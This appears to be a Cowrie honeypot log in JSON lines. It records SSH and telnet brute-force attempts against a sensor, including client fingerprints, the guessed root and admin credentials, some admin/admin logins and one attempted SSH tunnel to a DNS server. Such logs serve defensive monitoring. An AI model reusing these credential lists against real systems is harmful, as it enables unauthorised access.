{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:48.973985Z","src_ip":"77.94.47.83","session":"d088fcda1126","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adrienne","message":"login attempt [root/adrienne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:49.306634Z","src_ip":"77.94.47.83","session":"d088fcda1126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:50.420258Z","src_ip":"77.94.47.83","session":"d088fcda1126","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:51.602459Z","src_ip":"157.245.123.148","session":"6fe470b9b4c6","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:07:51.636029Z","src_ip":"157.245.123.148","session":"6fe470b9b4c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.52557396888733,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:01.254598Z","src_ip":"170.64.224.25","session":"eca4c9d45206","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":45828,"dst_ip":"10.17.0.5","dst_port":22,"session":"a985146f2332","protocol":"ssh","message":"New connection: 80.94.92.55:45828 (10.17.0.5:22) [session: a985146f2332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:18.880515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:19.170694Z","src_ip":"80.94.92.55","session":"a985146f2332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:19.173139Z","src_ip":"80.94.92.55","session":"a985146f2332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"654321","message":"login attempt [root/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:22.696103Z","src_ip":"80.94.92.55","session":"a985146f2332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:24.678365Z","src_ip":"80.94.92.55","session":"a985146f2332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":41714,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5eea8a17ded","protocol":"ssh","message":"New connection: 85.214.154.50:41714 (10.17.0.5:22) [session: a5eea8a17ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:32.518136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:32.521078Z","src_ip":"85.214.154.50","session":"a5eea8a17ded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:32.616448Z","src_ip":"85.214.154.50","session":"a5eea8a17ded","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shanghai_crypto","password":"shanghai123","message":"login attempt [shanghai_crypto/shanghai123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:32.896396Z","src_ip":"85.214.154.50","session":"a5eea8a17ded","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:33.991253Z","src_ip":"85.214.154.50","session":"a5eea8a17ded","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49526,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dba750c0833","protocol":"telnet","message":"New connection: 170.64.224.25:49526 (159.203.135.109:23) [session: 3dba750c0833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:35.525053Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":52982,"dst_ip":"159.203.135.109","dst_port":22,"session":"8249f9e4812d","protocol":"ssh","message":"New connection: 176.53.159.196:52982 (159.203.135.109:22) [session: 8249f9e4812d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:39.634284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:39.637179Z","src_ip":"176.53.159.196","session":"8249f9e4812d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:39.737890Z","src_ip":"176.53.159.196","session":"8249f9e4812d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":56902,"dst_ip":"159.203.135.109","dst_port":22,"session":"5205bc4ed232","protocol":"ssh","message":"New connection: 50.6.173.74:56902 (159.203.135.109:22) [session: 5205bc4ed232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:39.968690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:39.971342Z","src_ip":"50.6.173.74","session":"5205bc4ed232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:39.997931Z","src_ip":"50.6.173.74","session":"5205bc4ed232","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:40.044693Z","src_ip":"176.53.159.196","session":"8249f9e4812d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gavin456","message":"login attempt [root/gavin456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:40.075249Z","src_ip":"50.6.173.74","session":"5205bc4ed232","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:40.147419Z","session":"8249f9e4812d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:40.251590Z","src_ip":"176.53.159.196","session":"8249f9e4812d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:40.353016Z","src_ip":"176.53.159.196","session":"8249f9e4812d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:41.103148Z","src_ip":"50.6.173.74","session":"5205bc4ed232","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":51518,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5d3eb6a0030","protocol":"ssh","message":"New connection: 162.144.88.94:51518 (159.203.135.109:22) [session: d5d3eb6a0030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:47.473573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:47.476818Z","src_ip":"162.144.88.94","session":"d5d3eb6a0030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:47.558615Z","src_ip":"162.144.88.94","session":"d5d3eb6a0030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"St@rkN3t@P@ss!","message":"login attempt [root/St@rkN3t@P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:47.808498Z","src_ip":"162.144.88.94","session":"d5d3eb6a0030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:08:49.178753Z","src_ip":"162.144.88.94","session":"d5d3eb6a0030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":41458,"dst_ip":"159.203.135.109","dst_port":22,"session":"1db531e88f7e","protocol":"ssh","message":"New connection: 80.66.85.226:41458 (159.203.135.109:22) [session: 1db531e88f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:29.969026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:29.973101Z","src_ip":"80.66.85.226","session":"1db531e88f7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:30.061713Z","src_ip":"80.66.85.226","session":"1db531e88f7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"semina-alina","message":"login attempt [root/semina-alina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:30.330748Z","src_ip":"80.66.85.226","session":"1db531e88f7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:31.422167Z","src_ip":"80.66.85.226","session":"1db531e88f7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":46226,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6ffba470a0b","protocol":"ssh","message":"New connection: 159.65.58.200:46226 (159.203.135.109:22) [session: d6ffba470a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:40.797898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:40.932290Z","src_ip":"159.65.58.200","session":"d6ffba470a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:09:40.938217Z","src_ip":"159.65.58.200","session":"d6ffba470a0b","protocol":"ssh"}
